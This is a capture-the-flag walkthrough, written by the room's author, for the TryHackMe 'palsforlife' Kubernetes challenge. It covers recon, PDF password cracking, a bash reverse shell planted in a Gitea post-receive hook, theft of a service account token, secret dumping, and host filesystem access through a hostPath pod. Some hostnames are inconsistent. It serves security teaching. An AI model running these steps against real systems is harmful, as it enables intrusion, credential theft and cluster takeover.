Palsforlife - Tryhackme
Tuesday, June 1, 2021TryHackMe is a platform to learn cyber security hands-on, they make it really fun to solve challenges and learn new tools & techniques. Making my way through challenges, I noticed there was only one room involving Kubernetes.
As Kubernetes has gained quite some popularity over the last few years, k8s clusters are now interesting targets so it’s good to learn how a cluster can be compromised to be better at securing it, that’s why I designed and proposed a room called palsforlife about k8s (and world of warcraft!) some time ago.
Here’s a writeup for this challenge:
Reconnaissance
First, we need to wait 5 minutes for the machine to fully boot up.
To makes things a bit more convenient, edit your /etc/hosts
file, adding a hive.thm
entry to save your target IP:
x.x.x.x palsforlife.thm
Let’s start with nmap:
nmap -A -T4 -p- palsforlife.thm -vv
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
6443/tcp open ssl/sun-sr-https? syn-ack
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.0 401 Unauthorized
| Cache-Control: no-cache, private
| Content-Type: application/json
| Date: Tue, 16 Aug 2022 23:27:26 GMT
| Content-Length: 129
| {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"Unauthorized","reason":"Unauthorized","code":401}
| ssl-cert: Subject: commonName=k3s/organizationName=k3s
| Subject Alternative Name: DNS:kubernetes, DNS:kubernetes.default, DNS:kubernetes.default.svc.cluster.local, DNS:localhost, DNS:palsforlife.thm, IP Address:10.10.162.251, IP Address:10.43.0.1, IP Address:127.0.0.1, IP Address:172.30.18.136, IP Address:192.168.1.244
| Issuer: commonName=k3s-server-ca@1622498168
10250/tcp open ssl/http syn-ack Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
| ssl-cert: Subject: commonName=palsforlife
| Subject Alternative Name: DNS:palsforlife, DNS:localhost, IP Address:127.0.0.1, IP Address:10.10.162.251
| Issuer: commonName=k3s-server-ca@1622498168
30180/tcp open http syn-ack nginx 1.21.0
| http-methods:
|_ Supported Methods: GET HEAD POST
|_http-server-header: nginx/1.21.0
|_http-title: 403 Forbidden
31111/tcp open unknown syn-ack
| GetRequest:
| HTTP/1.0 200 OK
| <!DOCTYPE html>
| <html>
| <head data-suburl="">
| <meta charset="utf-8">
| <meta name="viewport" content="width=device-width, initial-scale=1">
| <meta http-equiv="x-ua-compatible" content="ie=edge">
| <title>Gitea: Git with a cup of tea</title>
| <meta name="theme-color" content="#6cc644">
| <meta name="author" content="Gitea - Git with a cup of tea" />
| <meta name="description" content="Gitea (Git with a cup of tea) is a painless self-hosted Git service written in Go" />
| <meta name="keywords" content="go,git,self-hosted,gitea
31112/tcp open ssh syn-ack OpenSSH 7.5 (protocol 2.0)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 01:28
Completed NSE at 01:28, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 01:28
Completed NSE at 01:28, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 01:28
Completed NSE at 01:28, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 419.02 seconds
(the nmap log has been slightly redacted for readability)
We learn a few interesting things :
- 10250 seems to indicate there is a kubernetes api server (k3s-server)
- 30180 points to a nginx server
- 31111 points to a gitea
Let’s run dirsearch (or gobuster) on the nginx:
dirsearch -u http://palsforlife.thm:30180/
_|. _ _ _ _ _ _|_ v0.4.2
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 10903
Target: http://palsforlife.thm:30180/
[01:39:10] Starting:
[01:39:41] 200 - 13KB - /team/
Task Completed
<dirsearch.dirsearch.Program object at 0x7f6e7f2fadf0>
We find a page at http://palsforlife.thm:30180/team/ :
Let’s go there and display the sources.
There is an interesting anchor:
<!-- I shouldn't forget this -->
<div id="uninteresting_file.pdf" style="visibility: hidden; display: none;">[BASE64]</div>
Copy this found base64 in a base64_content
file.
Recover the file from the base64.
cat base64_content | base64 --decode > uninteresting_file.pdf
Use pdf2john to get the hash from the password protected pdf file and crack it.
pdf2john.pl uninteresting_file.pdf > hash.txt
john --wordlist=rockyou.txt hash.txt
Open pdf with the found password, it looks like it contains another password.
Use this password found in the pdf to login to gitea as leeroy at http://palsforlife.thm:31111
There is a repo already created, let’s look into its webhooks.
We find that a webhook has already been created, let’s edit it and inspect the secret field to find the first flag.
Gaining System Access
Next, let’s abuse Git hooks.
Inject a reverse shell in the post-receive hook.
#!/bin/bash
bash -i >& /dev/tcp/YOUR_LOCAL_IP/4444 0>&1
Run a netcat listener on the attack machine:
nc -lvnp 4444
Clone the repo and push some modifications :
git clone http://palsforlife.thm:31111/leeroy/jenkins.git
cd jenkins
touch test
git add test
git ci -m "test"
git push origin master
We then get a reverse shell on the machine!
Get the second flag
cat /root/flag2.txt
Get the kubernetes service account token:
cat /var/run/secrets/kubernetes.io/serviceaccount/token
Save it in a token.txt file on the attack machine.
What can we do with this token?
kubectl --token "$(cat token.txt)" --insecure-skip-tls-verify --server=https://palsforlife.thm:6443 auth can-i --list
Apparently everything :
Resources Non-Resource URLs Resource Names Verbs
*.* [] [] [*]
[*] [] [*]
That’s what happen when RBAC is not enabled in the cluster :-)
Find the 3rd flag in a secret resource.
kubectl --token "$(cat token.txt)" --insecure-skip-tls-verify --server=https://palsforlife.thm:6443 -n kube-system get secret flag3 -o json | jq -r '.data | map_values(@base64d)'
Privilege escalation
Look at the docker images that are available in the node:
kubectl --token "$(cat token.txt)" --insecure-skip-tls-verify --server=https://team.thm:6443 get node -o yaml
Let’s use the nginx image
docker.io/library/nginx@sha256:6d75c99af15565a301e48297fa2d121e15d80ad526f8369c526324f0f7ccb750)
host.yaml
apiVersion: v1
kind: Pod
metadata:
name: host
spec:
containers:
- image: docker.io/library/nginx@sha256:6d75c99af15565a301e48297fa2d121e15d80ad526f8369c526324f0f7ccb750
name: host
command: [ "/bin/sh", "-c", "--" ]
args: [ "while true; do sleep 30; done;" ]
volumeMounts:
- mountPath: /host
name: host
volumes:
- name: host
hostPath:
path: /
type: Directory
and then run:
kubectl --token "$(cat token.txt)" --insecure-skip-tls-verify --server=https://team.thm:6443 -n default apply -f host.yaml
Access the newly created pod:
kubectl --token "$(cat token.txt)" --insecure-skip-tls-verify --server=https://team.thm:6443 -n default exec -it host bash
We just mounted the node filesystem!
Let’s get the root flag.
cat /host/root/root.txt
And we’re done! Congrats!!